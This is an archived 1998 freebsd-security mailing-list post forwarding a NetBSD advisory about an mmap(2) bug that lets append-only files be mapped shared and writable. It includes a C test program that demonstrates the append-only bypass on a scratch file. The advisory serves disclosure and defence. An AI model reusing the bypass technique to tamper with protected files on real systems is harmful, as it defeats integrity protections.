Skip site navigation (1)Skip section navigation (2)
Date:      Mon, 11 May 1998 13:09:02 +0200 (MET DST)
From:      Zahemszky Gabor <zgabor@CoDe.hu>
To:        freebsd-security@FreeBSD.ORG
Subject:   NetBSD-SA1998-003: problem with mmap
Message-ID:  <199805111109.NAA00318@CoDe.hu>

next in thread | raw e-mail | index | archive | help
What about this one?  On my 2.2.5, the problem exists (as says the program):
-----

                 NetBSD Security Advisory 1998-003
                 ---------------------------------

Topic:          mmap(2) of append-only files may result in corrupted data.
Version:        NetBSD 1.3.1 and prior.
Severity:       Possible data corruption.


Abstract
- --------

Files that have the append-only flag set are erroneously allowed to
be memory mapped shared, causing other processes to see changes made
to the file.  While the on-disk copy is not updated, any other process
using memory mapping will see this change, causing data corruption.


Technical Details
- -----------------

4.4BSD added several new concepts to the system security, including a
system `securelevel', and the ability to mark FFS files as append-only
or immutable.  These flags are settable at any time, but can only be
removed when the securelevel is zero, or less.  The securelevel of a
running system can only be lowered by the /sbin/init process, which
typically only does this when entering single user mode.  This ensures
that the even the super-user can not tamper with the file flags.

Due to a bug in the mmap(2) system call, files that are marked
append-only, may be opened with append, read and write flags, as normal
for append-only files, and then mmap(2)'ed shared with write protection.
When the data mapped is changed, other processes that use mmap(2) on
this file will also see the changes, defeating the purpose of the
append-only flag.  The actual on-disk copy of the file is not updated.


Solutions and Workarounds
- -------------------------

NetBSD has changed the mmap(2) system call to fail when creating a shared,
writable file mapping if the file is marked immutable or append-only.

A patch has been made available for NetBSD 1.3 and 1.3.1, and can be
found on the NetBSD FTP server:
    ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/19980509-mmap


Thanks To
- ---------

/*
 * mmap-bug.c: test for the presense of mmap bug with append-only
 * files.  if it fails (and the bug is not present), it will probably
 * exit with an error from a system call.  this program will only
 * compile on systems with 4.4BSD-compatible `file flags'.
 *
 * Copyright (c) 1998 Matthew Green.  All Rights Reserved.
 */

#include <sys/types.h>
#include <sys/cdefs.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>

#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char filedata[] = "you do NOT have the bug.\n";
char data[] = "you do have the bug.\n";

void child __P((const char *));

int
main(argc, argv)
        int argc;
        char *argv[];
{
        caddr_t f;
        pid_t pid;
        int fd;

        if (argc < 2)
                errx(1, "usage: mmap-bug <file>");

        /* first create the file, and set APPEND */
        fd = open(argv[1], O_CREAT|O_TRUNC|O_WRONLY, 0644);
        if (fd < 0)
                err(1, "open");
        if (write(fd, filedata, sizeof filedata) < 0)
                err(1, "write");
        if (fchflags(fd, SF_APPEND|UF_APPEND) < 0)
                err(1, "fchflags");
        if (close(fd) < 0)
                err(1, "close");

        /* now fork the child */
        pid = fork();
        if (pid < 0)
                err(1, "fork");
        if (pid == 0)
                child(argv[1]);

        /* ok, in parent: open file append/read/write, and map it in */
        fd = open(argv[1], O_APPEND|O_RDWR, 0);
        if (fd < 0)
                err(1, "parent open");
        f = mmap(0, 4096, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
        if (f == (caddr_t)-1)
                err(1, "parent mmap");

        /* modify the file, and write it out */
        strcpy(f, data);

        /* wait for the child, and clean up */
        wait(NULL);
        if (fchflags(fd, 0) < 0)
                err(1, "fchflags 2");
        if (unlink(argv[1]) < 0)
                err(1, "unlink");

        exit(0);
}

void
child(path)
        const char *path;
{
        caddr_t f;
        int fd;

        sleep(3);

        /* ok, in child: open file read, and map it in */
        fd = open(path, O_RDONLY);
        if (fd < 0)
                err(1, "child open");
        f = mmap(0, 4096, PROT_READ, MAP_SHARED, fd, 0);
        if (f == (caddr_t)-1)
                err(1, "child mmap");

        /* write it out */
        write(1, f, strlen(f));

        exit(0);
}

-----

Gabor

-- 
#!/bin/ksh
Z='21N16I25C25E30, 40M30E33E25T15U!' ;IFS=' ABCDEFGHIJKLMNOPQRSTUVWXYZ ';set $Z;for i { [[ $i = ? ]]&&print $i&&break;[[ $i = ??? ]]&&j=$i&&i=${i%?};typeset -i40 i=8#$i;print -n ${i#???};[[ "$j" = ??? ]]&&print -n "${j#??} "&&j=;typeset +i i;};IFS=' 0123456789 ';set $Z;X=;for i { [[ $i = , ]]&&i=2;[[ $i = ?? ]]||typeset -l i;X="$X $i";typeset +l i;};print "$X"

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe security" in the body of the message



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199805111109.NAA00318>